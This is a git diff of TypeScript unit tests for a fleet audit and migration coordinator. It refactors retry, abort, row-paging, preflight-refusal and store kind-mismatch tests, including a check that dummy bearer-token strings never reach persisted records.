expectPendingToken(started); - // The loss has to land on a CONTINUE. On the START path the revision-1 - // commit sits inside a catch-all that reads the operation back, so a - // durably-applied-then-thrown response there produces an ordinary - // `pending` and proves nothing about the discriminator; start-replay - // convergence (same token, no duplicate rows) is the start-replay - // title's own subject and stays pinned there. The continue-path commits - // carry no such catch, so the throw propagates while the write stands — - // exactly a lost response. + // The start path catches commit failures and reads back durable progress. const lostResponse = new Error( 'fleet operation store lost the commitProgress response', ); - harness.operationStore.loseCommitProgressResponse = lostResponse; - const rowsBeforeLoss = structuredClone([...harness.operationStore.rows]); + harness.operationStore.loseNextSuccessfulCommitProgressResponse = + lostResponse; await expect( advanceFleetAudit( harness.baseOptions({ kind: 'continue', token: startedToken }), ), ).rejects.toBe(lostResponse); - // The write LANDED: the operation is still running, its pin still held, - // and its persisted revision is one past the token the caller holds. const persisted = await harness.operationStore.readOperationById(operationId); expect(persisted?.state).toBe('running'); @@ -3475,27 +3521,19 @@ describe('advanceFleetAudit', () => { ), ).toBe(false); - // The retry replays the SAME token. `classifyFleetOperationToken` reads it - // as `stale` against the advanced persisted revision — the revision - // discriminator — so the caller converges on the authoritative result - // instead of re-running the chunk. + const rowsBeforeRetry = structuredClone([...harness.operationStore.rows]); const retried = await advanceFleetAudit( harness.baseOptions({ kind: 'continue', token: startedToken }), ); - expect(retried.status).toBe('pending'); - const retriedToken = expectPendingToken(retried); - expect(retriedToken).toEqual({ - ...startedToken, - revision: persistedProgress.revision, - }); expect(retried).toEqual({ status: 'pending', - token: retriedToken, + token: { + ...startedToken, + revision: persistedProgress.revision, + }, stage: persistedProgress.stage, }); - - // …and it staged nothing: convergence, not a second application. - expect([...harness.operationStore.rows]).toEqual(rowsBeforeLoss); + expect([...harness.operationStore.rows]).toEqual(rowsBeforeRetry); }); it('the abort signal is call-local and never persisted', async () => { @@ -3515,20 +3553,9 @@ describe('advanceFleetAudit', () => { ); const persisted = await harness.operationStore.readOperationById(operationId); - // A near-unfalsifiable assertion, kept deliberately. The first title in - // this file reads the persisted progress through - // `fleetAuditProgressFromUnknown`, whose exact-key assertion already - // rejects any extra field, so a `signal` landing in `progress` is caught - // there. This is a byte SCAN over the whole run record rather than a shape - // check on one field, which is the half no shape assertion makes: it also - // catches the option arriving under some other key, or nested inside a - // value. It is the load-bearing half of the call-local claim. expect(JSON.stringify(persisted)).not.toContain('signal'); expect(result.status).toBe('pending'); - // An explicit abort reason, so the refusal is pinned by IDENTITY rather - // than by "something threw": the coordinator must propagate the caller's - // own reason out of `signal.throwIfAborted()` untouched. const abortReason = new Error('fleet audit aborted by the caller'); const abortedController = new AbortController(); abortedController.abort(abortReason); @@ -3563,50 +3590,49 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); const atPerRecord = await driveToStage( harness, expectPendingToken(started), 'per-record', ); - // The coordinator re-checks the signal INSIDE the per-record chunk, after - // it has read the accumulated fact rows and before it calls the record - // step. Aborting from the fact read is what lands the abort in that - // window: the entry check has already passed, so a refusal here can only - // come from the mid-record checkpoint. + // The fact read places the abort after the entry check. const abortReason = new Error('fleet audit aborted mid per-record call'); - const readOperationRowsPage = - harness.operationStore.readOperationRowsPage.bind(harness.operationStore); + const readOperationRowsPage = harness.operationStore.readOperationRowsPage; harness.operationStore.readOperationRowsPage = async ( input: RowsPageInput, ) => { - const page = await readOperationRowsPage(input); + const page = await readOperationRowsPage.call( + harness.operationStore, + input, + ); if (input.rowKind === 'fact') controller.abort(abortReason); return page; }; - const opsBefore = harness.opsLog.length; + const opsBefore = [...harness.opsLog]; + const fleetOpsBefore = [...harness.fleetStore.ops]; const factReadsBefore = harness.operationStore.rowPageReadCounts.get('fact') ?? 0; const rowsBefore = structuredClone([...harness.operationStore.rows]); const persistedBefore = fleetAuditProgressFromUnknown( (await harness.operationStore.readOperationById(operationId))?.progress, ); - await expect( - advanceFleetAudit( - harness.baseOptions({ kind: 'continue', token: atPerRecord.token }), - ), - ).rejects.toBe(abortReason); - harness.operationStore.readOperationRowsPage = readOperationRowsPage; + try { + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: atPerRecord.token }), + ), + ).rejects.toBe(abortReason); + } finally { + harness.operationStore.readOperationRowsPage = readOperationRowsPage; + } - // The call got PAST the entry check — it read fact rows — and stopped - // before any resolver or provider work. expect( harness.operationStore.rowPageReadCounts.get('fact') ?? 0, ).toBeGreaterThan(factReadsBefore); - expect(harness.opsLog.length).toBe(opsBefore); - expect(harness.fleetStore.ops).toEqual([]); + expect(harness.opsLog).toEqual(opsBefore); + expect(harness.fleetStore.ops).toEqual(fleetOpsBefore); expect([...harness.operationStore.rows]).toEqual(rowsBefore); const persistedAfter = await harness.operationStore.readOperationById(operationId); @@ -3626,12 +3652,8 @@ describe('advanceFleetAudit', () => { 'bytescan', 'Bearer super-secret-credential-value', ); - // The `Authorization` half of the scan is vacuous unless some - // provider-sourced text actually carries those bytes into the call. This - // duty error does: the maintenance-stale template names the failed attempt - // and its timestamp and NEVER the provider's own error string, so the scan - // below has something real to refute. - const sweepError = 'Authorization: Bearer leaked-provider-header'; + const leakMarker = 'leaked-provider-header'; + const sweepError = `Authorization: Bearer ${leakMarker}`; harness.liveByTenant.set( 'bytescan', cleanLiveDeployment(alice, { @@ -3662,7 +3684,7 @@ describe('advanceFleetAudit', () => { expect(text).not.toContain('bearer'); expect(text).not.toContain('authorization'); expect(text).not.toContain('super-secret-credential-value'); - expect(text).not.toContain('leaked-provider-header'); + expect(text).not.toContain(leakMarker); }; for (const [key, rows] of harness.operationStore.rows) { const [, rowKind] = key.split(':'); @@ -3716,7 +3738,7 @@ describe('advanceFleetAudit', () => { "finding detail withheld: unsafe bytes (kind 'orphan-deployment')", ); - const drainFindings = await drainWith(harness, { records, inventory }); + const drainFindings = await drainWith(harness); const drainOrphan = drainFindings.find( (finding) => finding.kind === 'orphan-deployment' && @@ -3743,10 +3765,7 @@ describe('advanceFleetAudit', () => { 'silentmaint', cleanLiveDeployment(silent, { maintenance: UNARMED_MAINTENANCE }), ); - const startTimeDrainFindings = await drainWith(harness, { - records, - inventory, - }); + const startTimeDrainFindings = await drainWith(harness); const operationId = uuidFor(42); const started = await advanceFleetAudit( harness.baseOptions({ @@ -4006,7 +4025,7 @@ describe('advanceFleetAudit', () => { `maintenance scheduler is not armed; sweep last attempt failed at ${AUDIT_NOW - 1_000}; purge last attempt failed at ${AUDIT_NOW - 2_000}`, ); - const drainFindings = await drainWith(harness, { records, inventory }); + const drainFindings = await drainWith(harness); const drainFinding = drainFindings.find( (f) => f.kind === 'maintenance-stale', ); @@ -4120,18 +4139,11 @@ describe('advanceFleetAudit', () => { ).rejects.toThrow('fleet operation state is malformed'); expect(repeatingPageCalls).toBe(2); - // DUPLICATE ORDINAL WITHIN ONE PAGE. On a FIRST page `afterOrdinal` is - // `undefined`, so the `row.ordinal <= afterOrdinal` arm cannot fire and - // only the page-scoped `Set` can decide. The overlapping case further - // down never reaches that arm — its repeated row is rejected by the - // cursor comparison first — and the gapped case carries no duplicate at - // all, so this fixture is the `Set` arm's only falsifying case: the page - // is deliberately NOT `done`, so without the arm the reader would fetch - // a second page, and `duplicatePageCalls` pins that it does not. let duplicatePageCalls = 0; + const duplicateBaseStore = new FakeOperationStore(); const duplicateOrdinalStore = pageTransformingStore( - new FakeOperationStore(), - (_page, input) => { + duplicateBaseStore, + (_readPage, input) => { duplicatePageCalls += 1; return { rows: [ @@ -4146,13 +4158,8 @@ describe('advanceFleetAudit', () => { readAllFleetOperationRows(duplicateOrdinalStore, uuidFor(533), 'record'), ).rejects.toThrow('fleet operation state is malformed'); expect(duplicatePageCalls).toBe(1); + expect(duplicateBaseStore.rowPageReadCounts.size).toBe(0); - // ROW-READ CAP BY KIND. The cap case below runs on the `record` kind, so - // the `record` arm of `readAllFleetOperationRows`'s bound ternary is what - // it exercises; the 990,000 non-`record` arm is pinned here as a constant - // only. Driving a fixture through it would mean materializing ~990,001 - // rows to exercise a two-value ternary over the same guard, which is not - // worth the suite time. expect(FLEET_OPERATION_ROW_READ_BOUND).toBe(990_000); let advancingPageCalls = 0; let advancingRows = 0; @@ -4200,10 +4207,13 @@ describe('advanceFleetAudit', () => { expect(new Set(expectedRows.map((row) => row.ordinal)).size).toBe( expectedRows.length, ); - const descendingStore = pageTransformingStore(orderedStore, (page) => ({ - ...page, - rows: [...page.rows].reverse(), - })); + const descendingStore = pageTransformingStore( + orderedStore, + async (readPage) => { + const page = await readPage(); + return { ...page, rows: [...page.rows].reverse() }; + }, + ); await expect( readAllFleetOperationRows(descendingStore, orderedOperationId, 'record'), ).resolves.toEqual(expectedRows); @@ -4212,7 +4222,7 @@ describe('advanceFleetAudit', () => { const overlappingBaseStore = new FakeOperationStore(); const overlappingStore = pageTransformingStore( overlappingBaseStore, - (_page, input) => { + (_readPage, input) => { overlappingPageCalls += 1; return input.afterOrdinal === undefined ? { @@ -4232,15 +4242,11 @@ describe('advanceFleetAudit', () => { readAllFleetOperationRows(overlappingStore, uuidFor(531), 'record'), ).rejects.toThrow('fleet operation state is malformed'); expect(overlappingPageCalls).toBe(2); + expect(overlappingBaseStore.rowPageReadCounts.size).toBe(0); expect(overlappingBaseStore.operations.size).toBe(0); expect(overlappingBaseStore.rows.size).toBe(0); expect(overlappingBaseStore.heads.size).toBe(0); - // PAGE CONTIGUITY. `[5, 1]`,`[6]` refuses on the MISSING ZERO — the - // sorted run starts at 1, so the final index check fails on the very - // first row and the 2-4 skip is never reached. `[5, 0]`,`[6]` is the same - // sequence with that first-row objection removed, so only the interior - // gap can decide it. Both are kept: they refuse for different reasons. const gappedFirstPages = [ [5, 1], [5, 0], @@ -4577,14 +4583,10 @@ describe('advanceFleetAudit', () => { tenantTag: observed.tenantTag, environment: observed.environment, }); - const drainFindings = await drainWith(observedHarness, { - records: [observed], - inventory: observedInventory, - }); + const drainFindings = await drainWith(observedHarness); expect(drainFindings.slice(0, observedFindings.length)).toStrictEqual( observedFindings, ); - // Detail withholding is the only expected difference in this world. expect(observedPage.findings).toStrictEqual( drainFindings.map((finding) => finding.detail === 'x\u0000y' @@ -4598,6 +4600,15 @@ describe('advanceFleetAudit', () => { ); }); + const GRAMMAR_REFUSAL = + 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar'; + const STRUCTURE_REFUSAL = + 'fleet audit record exceeds the intake structure bounds'; + const ROW_BYTE_REFUSAL = + 'fleet audit record exceeds the staged row byte bound'; + const CLOCK_REFUSAL = + 'fleet audit auditClock sample must be a non-negative safe integer representable by Date'; + it('a start whose record carries a malformed deployment identifier refuses with the fixed message and persists nothing', async () => { const cases = [ baseRecord('emptyenvironment', { environment: '' }), @@ -4605,38 +4616,20 @@ describe('advanceFleetAudit', () => { ]; for (const [index, record] of cases.entries()) { const harness = buildHarness([record], inventoryFor([record])); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId: uuidFor(61 + index), - records: [record], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow( - 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar', + const attempt = advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(61 + index), + records: [record], + staleAfterMs: STALE_AFTER_MS, + }), ); + await expect(attempt).rejects.toBeInstanceOf(Error); + await expect(attempt).rejects.toHaveProperty('message', GRAMMAR_REFUSAL); expectZeroHarnessWork(harness); } }); - // INTAKE PREFLIGHT, re-cut here as a table. Eleven fixtures used to share - // one ~250-line body — nine `rejects.toThrow` blocks, two of them looping - // over two fixtures each — that repeated the same build / - // `rejects.toThrow` / `expectZeroHarnessWork` work; each fixture now - // reports under its own title, so a failure names the one that broke. - const preflightRecord = baseRecord('preflight'); - const GRAMMAR_REFUSAL = - 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar'; - const STRUCTURE_REFUSAL = - 'fleet audit record exceeds the intake structure bounds'; - const ROW_BYTE_REFUSAL = - 'fleet audit record exceeds the staged row byte bound'; - const CLOCK_REFUSAL = - 'fleet audit auditClock sample must be a non-negative safe integer representable by Date'; - // The clock refusal is the one preflight case that follows the lease row: - // it is sampled inside the lease, after the probe and the generation read. const AFTER_LEASE_AND_PROBE = { leaseCount: 1, readOperationByIdCalls: 1, @@ -4646,17 +4639,17 @@ describe('advanceFleetAudit', () => { const preflightRefusalCases: readonly PreflightRefusalCase[] = [ { name: 'a non-positive explicit generation', - fleet: [preflightRecord], + fleet: [baseRecord('preflight')], operationId: uuidFor(70), - records: () => [preflightRecord], + intake: () => [baseRecord('preflight')], generation: 0, message: 'generation must be a positive safe integer', }, { name: 'a non-integer explicit generation', - fleet: [preflightRecord], + fleet: [baseRecord('preflight')], operationId: uuidFor(71), - records: () => [preflightRecord], + intake: () => [baseRecord('preflight')], generation: 1.5, message: 'generation must be a positive safe integer', }, @@ -4664,7 +4657,7 @@ describe('advanceFleetAudit', () => { name: 'a non-string tenant tag', fleet: [], operationId: uuidFor(72), - records: () => [ + intake: () => [ { ...baseRecord('nonstringtenant'), tenantTag: null as unknown as string, @@ -4673,10 +4666,10 @@ describe('advanceFleetAudit', () => { message: GRAMMAR_REFUSAL, }, { - name: 'a throwing tenantTag accessor', + name: 'a record with a throwing tenantTag', fleet: [], operationId: uuidFor(720), - records: () => { + intake: () => { const record = baseRecord('throwingtenant'); Object.defineProperty(record, 'tenantTag', { get() { @@ -4692,14 +4685,14 @@ describe('advanceFleetAudit', () => { name: 'a null record element', fleet: [], operationId: uuidFor(79), - records: () => [null as unknown as FleetRecord], + intake: () => [null as unknown as FleetRecord], message: STRUCTURE_REFUSAL, }, { name: 'a record over the staged row bound', fleet: [], operationId: uuidFor(73), - records: () => { + intake: () => { const record = Object.assign( baseRecord('oversized'), Object.fromEntries( @@ -4709,50 +4702,33 @@ describe('advanceFleetAudit', () => { ]), ), ); - // The walk survives for the max-string assertion alone; the node - // count comes from the file's own helper. - const strings: string[] = []; - const pending: unknown[] = [record]; - while (pending.length > 0) { - const current = pending.pop(); - if (typeof current === 'string') strings.push(current); - else if (Array.isArray(current)) pending.push(...current); - else if (current && typeof current === 'object') { - pending.push(...Object.values(current)); - } - } + const metrics = plainDataMetrics(record); expect( new TextEncoder().encode(canonicalFleetOperationBytes(record)) .byteLength, ).toBeGreaterThan(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND); - expect(countPlainDataNodes(record)).toBeLessThan( - FLEET_OPERATION_NODE_BOUND, + expect(metrics.nodeCount).toBeLessThan(FLEET_OPERATION_NODE_BOUND); + expect(metrics.maxStringBytes).toBeLessThanOrEqual( + FLEET_OPERATION_STRING_BYTE_BOUND, ); - expect( - Math.max( - ...strings.map( - (value) => new TextEncoder().encode(value).byteLength, - ), - ), - ).toBeLessThanOrEqual(FLEET_OPERATION_STRING_BYTE_BOUND); return [record]; }, message: ROW_BYTE_REFUSAL, }, { name: 'a non-integer audit clock sample', - fleet: [preflightRecord], + fleet: [baseRecord('preflight')], operationId: uuidFor(74), - records: () => [preflightRecord], + intake: () => [baseRecord('preflight')], auditClock: () => 1.5, message: CLOCK_REFUSAL, coordination: AFTER_LEASE_AND_PROBE, }, { - name: 'an out-of-range audit clock sample', - fleet: [preflightRecord], + name: 'an out-of-Date-range clock sample', + fleet: [baseRecord('preflight')], operationId: uuidFor(75), - records: () => [preflightRecord], + intake: () => [baseRecord('preflight')], auditClock: () => 9e15, message: CLOCK_REFUSAL, coordination: AFTER_LEASE_AND_PROBE, @@ -4761,7 +4737,7 @@ describe('advanceFleetAudit', () => { name: 'a record over the intake node bound', fleet: [], operationId: uuidFor(76), - records: () => [ + intake: () => [ Object.assign(baseRecord('toomanynodes'), { padding: Array.from({ length: 9_000 }, () => null), }), @@ -4772,7 +4748,7 @@ describe('advanceFleetAudit', () => { name: 'a record over the intake string bound', fleet: [], operationId: uuidFor(77), - records: () => [ + intake: () => [ Object.assign(baseRecord('overlongstring'), { padding: 'x'.repeat(5_000), }), @@ -4780,10 +4756,10 @@ describe('advanceFleetAudit', () => { message: STRUCTURE_REFUSAL, }, { - name: 'a record over row and intake bounds', + name: 'a record over both bounds (row wins)', fleet: [], operationId: uuidFor(78), - records: () => { + intake: () => { const padding = Object.fromEntries( Array.from({ length: 8_000 }, (_, index) => [ `padding${index}`, @@ -4791,7 +4767,7 @@ describe('advanceFleetAudit', () => { ]), ); const record = Object.assign(baseRecord('overlappingbounds'), padding); - expect(countPlainDataNodes(record)).toBeLessThan( + expect(plainDataMetrics(record).nodeCount).toBeLessThan( FLEET_OPERATION_NODE_BOUND, ); // Both terms are derived from the fixture rather than restated. The @@ -4814,9 +4790,6 @@ describe('advanceFleetAudit', () => { }, ]; - // Named so the frozen title survives as a greppable literal: `it.each` - // resolves `$name` per case, so none of the eleven generated titles appears - // anywhere in this file. const PREFLIGHT_TITLE = 'a start refuses $name before any operation row, staged row, or pin'; @@ -4828,21 +4801,19 @@ describe('advanceFleetAudit', () => { ? {} : { auditClock: testCase.auditClock }, ); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId: testCase.operationId, - records: testCase.records(), - staleAfterMs: STALE_AFTER_MS, - ...(testCase.generation === undefined - ? {} - : { generation: testCase.generation }), - }), - ), - ).rejects.toThrow(testCase.message); - // `expectZeroHarnessWork` already asserts the empty operation, row, - // head, digest and pin maps, so no case repeats them. + const attempt = advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: testCase.operationId, + records: testCase.intake(), + staleAfterMs: STALE_AFTER_MS, + ...(testCase.generation === undefined + ? {} + : { generation: testCase.generation }), + }), + ); + await expect(attempt).rejects.toBeInstanceOf(Error); + await expect(attempt).rejects.toHaveProperty('message', testCase.message); expectZeroHarnessWork(harness, testCase.coordination); }); @@ -4901,14 +4872,7 @@ describe('advanceFleetAudit', () => { }); harness.liveByTenant.set(record.tenantTag, testCase.live(record)); if (index === 0) { - const drainFindings = await drainWith(harness, { - records: [record], - inventory: inventoryFor([record]), - }); - // §5.5 class (d): the drain over the IDENTICAL world completes and - // returns its FULL finding array, where the bounded path refuses the - // first fact row. A length floor would pass on any finding at all, so - // the whole array is pinned. + const drainFindings = await drainWith(harness); expect(drainFindings).toEqual([ { tenantTag: testCase.tenantTag, @@ -5013,7 +4977,7 @@ describe('advanceFleetAudit', () => { const records = Array.from({ length: 1_001 }, (_, index) => baseRecord(`aggregate${index}`), ); - expect(countPlainDataNodes(records)).toBeGreaterThan( + expect(plainDataMetrics(records).nodeCount).toBeGreaterThan( FLEET_OPERATION_NODE_BOUND, ); expect(() => @@ -5068,11 +5032,6 @@ describe('advanceFleetAudit', () => { mutateCaller(pinMutationOperationId, STALE_AFTER_MS + 2); await pinGeneration(input); }; - // The clock and pin hooks both fire AFTER the generation is resolved, so - // neither can falsify the hoisted `action.generation`. The probe — - // `readOperationById`, the single seam between the hoist and the use — is - // the only hook early enough, and it is one-shot so the direct reads - // further down cannot re-trigger it. harness.operationStore.onNextReadOperationById = () => { mutateCaller(probeMutationOperationId, STALE_AFTER_MS + 3); }; @@ -5263,21 +5222,17 @@ describe('advanceFleetAudit', () => { const carol = baseRecord('carol'); const alice = baseRecord('alice'); const records = [bob, carol, alice]; - const harness = buildHarness(records, inventoryFor(records)); - // `carol` is the finding-free record: the same clean fixture as the - // other two, differing only in maintenance duties fresh against the - // harness's UNFROZEN audit clock, which is what leaves the other two - // stale. Staged in the MIDDLE, so a stage that visited only the - // emitting records would break the order read back below. - const liveNow = Date.now(); + const auditTime = AUDIT_NOW + STALE_AFTER_MS + 60_001; + const harness = buildHarness(records, inventoryFor(records), { + auditClock: () => auditTime, + }); harness.liveByTenant.set( carol.tenantTag, cleanLiveDeployment(carol, { maintenance: { ...HEALTHY_MAINTENANCE, - nextAlarmAt: liveNow + 60_000, - lastSweepAt: liveNow, - lastPurgeAt: liveNow, + lastSweepAt: auditTime, + lastPurgeAt: auditTime, }, }), ); @@ -5310,24 +5265,11 @@ describe('advanceFleetAudit', () => { .map((row) => row.payload.tenantTag); expect(stagedTags).toEqual(['bob', 'carol', 'alice']); expect(visited).toEqual(stagedTags); - for (const tag of stagedTags) { - expect(visited.filter((seen) => seen === tag)).toHaveLength(1); - } const page = await readFleetAuditFindingsPage(harness.operationStore, { operationId, limit: 10, }); expect(page.done).toBe(true); - // The added conjunct, asserted first so it is the one that names the - // record when it breaks: the middle record the stage visited emitted - // nothing. - expect( - page.findings.filter((finding) => finding.tenantTag === carol.tenantTag), - ).toEqual([]); - // `bob` and `alice` still emit one `maintenance-stale` finding each - // under this harness's unfrozen maintenance clock, so the page carries - // exactly one finding for each of them, in the order the stage visited - // them. expect( page.findings.map((finding) => [finding.tenantTag, finding.kind]), ).toEqual([ diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index 6d2eb62c..a8fd68be 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -42,6 +42,8 @@ import { FleetOperationTokenKindError, FleetOperationTokenOperationError, fleetOperationIntakeDigest, + fleetOperationOtherKindMessage, + fleetOperationRunRecordFromUnknown, fleetOperationStagedRowFromUnknown, } from '../src/fleet-operation-state.js'; import { @@ -356,6 +358,9 @@ class MemoryOperationStore implements FleetOperationStore { const prior = this.operations.get(input.operationId); if (!prior) throw new Error(`no fleet operation '${input.operationId}'`); + if (prior.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(input.operationId)); + } if ( prior.state === 'finalized' && prior.progress.revision === input.runRecord.progress.revision @@ -394,6 +399,9 @@ class MemoryOperationStore implements FleetOperationStore { const prior = this.operations.get(input.operationId); if (!prior) throw new Error(`no fleet operation '${input.operationId}'`); + if (prior.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(input.operationId)); + } const rows = this.rows.get(input.operationId) ?? []; if ( prior.state === 'failed' && @@ -1232,6 +1240,165 @@ async function loseStepResponse( } describe('migration operation fake guarded progress contract', () => { + it.each([ + 'missing-operation', + 'watermark', + 'other-record', + 'different-row', + 'missing-row', + 'converged', + ] as const)('orders the %s convergence identity', async (variant) => { + const world = createWorld(); + await world.start(); + const initial = copy(world.operationStore.operations.get(uuid())); + const row = copy(world.operationStore.rows.get(uuid())?.[0]); + if (!initial || !row) throw new Error('missing convergence fixture'); + const intended = { + ...initial, + progress: { + ...initial.progress, + revision: initial.progress.revision + 1, + }, + }; + const different = { + ...row, + payload: { ...row.payload, tenantTag: 'other' }, + }; + const store = new MemoryOperationStore(); + if (variant !== 'missing-operation') { + store.operations.set( + uuid(), + variant === 'other-record' + ? { ...intended, state: 'failed' } + : intended, + ); + } + store.rows.set( + uuid(), + variant === 'missing-row' + ? [] + : [variant === 'converged' ? row : different], + ); + const operationsBefore = structuredClone([...store.operations]); + const rowsBefore = structuredClone([...store.rows]); + await store.withAccountOperationLease('migration', async (lease) => { + const commit = lease.commitProgress({ + operationId: uuid(), + expectedRevision: initial.progress.revision, + runRecord: intended, + updateRows: + variant === 'different-row' + ? [ + { ...row, ordinal: 1, payload: { ...row.payload, ordinal: 1 } }, + row, + ] + : [row], + expectedRowWatermarks: { + item: variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1, + }, + }); + if (variant === 'converged') { + await expect(commit).resolves.toEqual(intended); + } else { + const message = + variant === 'missing-operation' + ? `no fleet operation '${uuid()}'` + : variant === 'different-row' + ? divergence(uuid()).message + : conflict(uuid()).message; + await expect(commit).rejects.toBeInstanceOf(Error); + await expect(commit).rejects.toHaveProperty('message', message); + } + }); + expect([...store.operations]).toEqual(operationsBefore); + expect([...store.rows]).toEqual(rowsBefore); + }); + + it.each([ + { method: 'finalizeOperation', state: 'running' }, + { method: 'finalizeOperation', state: 'finalized' }, + { method: 'finalizeOperation', state: 'failed' }, + { method: 'failOperation', state: 'running' }, + { method: 'failOperation', state: 'finalized' }, + { method: 'failOperation', state: 'failed' }, + ] as const)('$method refuses a foreign-kind $state record using the captured lease', async ({ + method, + state, + }) => { + const world = createWorld(); + await world.start(); + const store = world.operationStore; + const initial = copy(store.operations.get(uuid())); + if (!initial) throw new Error('missing terminal fixture'); + const operationId = uuid(); + const source = + state === 'running' + ? initial + : { + ...initial, + progress: { + ...initial.progress, + revision: initial.progress.revision + 1, + }, + }; + store.heads.set('audit', uuid(991)); + store.operations.set( + operationId, + fleetOperationRunRecordFromUnknown({ + ...source, + state, + progress: { + ...source.progress, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' } } + : {}), + ...(state === 'finalized' ? { completedItemCount: 1 } : {}), + }, + }), + ); + const operationsBefore = structuredClone([...store.operations]); + const rowsBefore = structuredClone([...store.rows]); + const headsBefore = [...store.heads]; + await store.withAccountOperationLease('audit', async (lease) => { + const runRecord = fleetOperationRunRecordFromUnknown({ + ...source, + kind: 'audit', + state: method === 'finalizeOperation' ? 'finalized' : 'failed', + progress: { + kind: 'audit', + revision: initial.progress.revision + 1, + stage: { step: 'finalize' }, + generation: 1, + auditTimeMs: 0, + staleAfterMs: 60_000, + recordCount: 0, + findingCount: 0, + factCount: 0, + ...(method === 'failOperation' + ? { failure: { reason: 'operator-abandoned' } } + : {}), + }, + }); + const input = { + operationId, + expectedRevision: initial.progress.revision, + runRecord, + }; + const result = + method === 'finalizeOperation' + ? lease.finalizeOperation({ ...input, expectedRowCounts: {} }) + : lease.failOperation(input); + await expect(result).rejects.toBeInstanceOf(Error); + await expect(result).rejects.toHaveProperty( + 'message', + fleetOperationOtherKindMessage(operationId), + ); + expect([...store.operations]).toEqual(operationsBefore); + expect([...store.rows]).toEqual(rowsBefore); + expect([...store.heads]).toEqual(headsBefore); + }); + }); + it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { const world = createWorld(); await world.start(uuid(), [world.initial, world.initial]); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index fcb4e0e7..d0e23607 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -302,11 +302,7 @@ describe('fleet operation state', () => { ).toThrow(FleetOperationStateError); }); - it('record/token byte bounds fail closed', () => { - // The token bound cannot be discriminated by any black-box input: a token - // that passes the exact-key, version, UUIDv4 and safe-integer checks is - // about ninety bytes, so every oversized input trips one of those checks - // and raises the same error whether the bound is present or not. + it('record byte bound fails closed; the token codec refuses oversized and unknown-key input', () => { expect(() => parseFleetOperationToken({ version: 1, From 302e554410bd979678ca36fe9b3f3d9e7e9d3ca4 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 20:44:37 +0400 Subject: [PATCH 089/169] test(fleet-control): enforce migration fixture wiring and credential checks --- .../test/fixtures/fleet-migration-worlds.ts | 275 +++++------------- .../test/fleet-migration-advance.test.ts | 11 +- .../test/fleet-migration-golden.test.ts | 104 ++++++- 3 files changed, 172 insertions(+), 218 deletions(-) diff --git a/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts index af471c65..a8be5f13 100644 --- a/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts +++ b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts @@ -1,76 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -/** - * Hand-authored deterministic worlds for the `migrateFleet` golden baselines. - * `scripts/record-migration-baseline.mjs` and - * `test/fleet-migration-golden.test.ts` both import this file; the recorder - * NEVER writes it, so the recorded literals can never rewrite their own input. - * - * The worlds freeze the SHIPPED behavior of `migrateFleet` in `src/fleet.ts` - * before its internals are decomposed into a bounded frozen-plan executor - * (R4-C.2), so the decomposition can be proven behavior-equivalent. Each world - * records the value `migrateFleet` produced AND the exact sequence of calls it - * made onto its `store`, `backendFor`, `specFor`, `secretsFor`, and - * `settlementFor` collaborators (the "op log"). - * - * TWO worlds, because the drain has two observable contracts: - * - the SUCCESS world (`runFleetMigrationSuccessBaseline`) drives four - * records — one immutable-external full migration, one non-external - * platform-authored full migration over several D1 versions, one - * platform-only change, and one ready steady-state reconcile — and freezes - * the returned `readonly FleetRecord[]` beside the op log. - * - the STOP world (`runFleetMigrationStopBaseline`) drives three records in - * the frozen scheduler order and freezes FIRST-ERROR STOP PARITY: the - * first record completes, the second is refused in the admit preamble, and - * the third contributes no op at all. `migrateFleet` rejects, so the world - * freezes the refusal message beside the op log. - * - * OP-LOG VOCABULARY (`MigrationOpLogEntry`, below) is derived from the calls - * the migration BODY actually makes, not from the collaborator port's member - * list. Four token compositions carry a key: - * - `resolver:::` — the resolver invocation, - * keyed by the record it resolved for. - * - `put:` — the value of the field THAT put advances: - * the record `phase` when it moves (including the admission put, which - * moves `phase` AND the external `migrationIntent.subphase`), otherwise - * the advanced `migrationIntent.subphase`, otherwise the record's current - * `phase` for a put that advances neither. - * - `applyMigrations:` — `verify` for the zero-pending - * ledger-verification call, which passes `spec.migrations` itself, and the - * sliced array's length for each per-version call. The two are told apart - * by REFERENCE identity against the spec object `specFor` returned, never - * by comparing contents: the last per-version slice is content-equal to - * `spec.migrations`. - * - `settle:` — the settlement the host was handed, keyed by - * the key the promotion settled under. - * - * SEAMS. Every collaborator member these two worlds never reach THROWS, so a - * bounded decomposition that starts calling one fails loudly instead of - * silently no-opping. The four FEATURE-DETECTED optional backend members — - * `releaseScriptName`, `ensurePlatformResources`, `deleteRetainedRelease`, and - * `describeExternalPlatformTarget` — are REAL on the immutable-external - * backend, because a present-but-throwing member is observably different from - * an absent one at a feature-detection site; the non-external backend declares - * none of them, which is what makes its records take the non-external path. - * - * CLOCK FENCE. 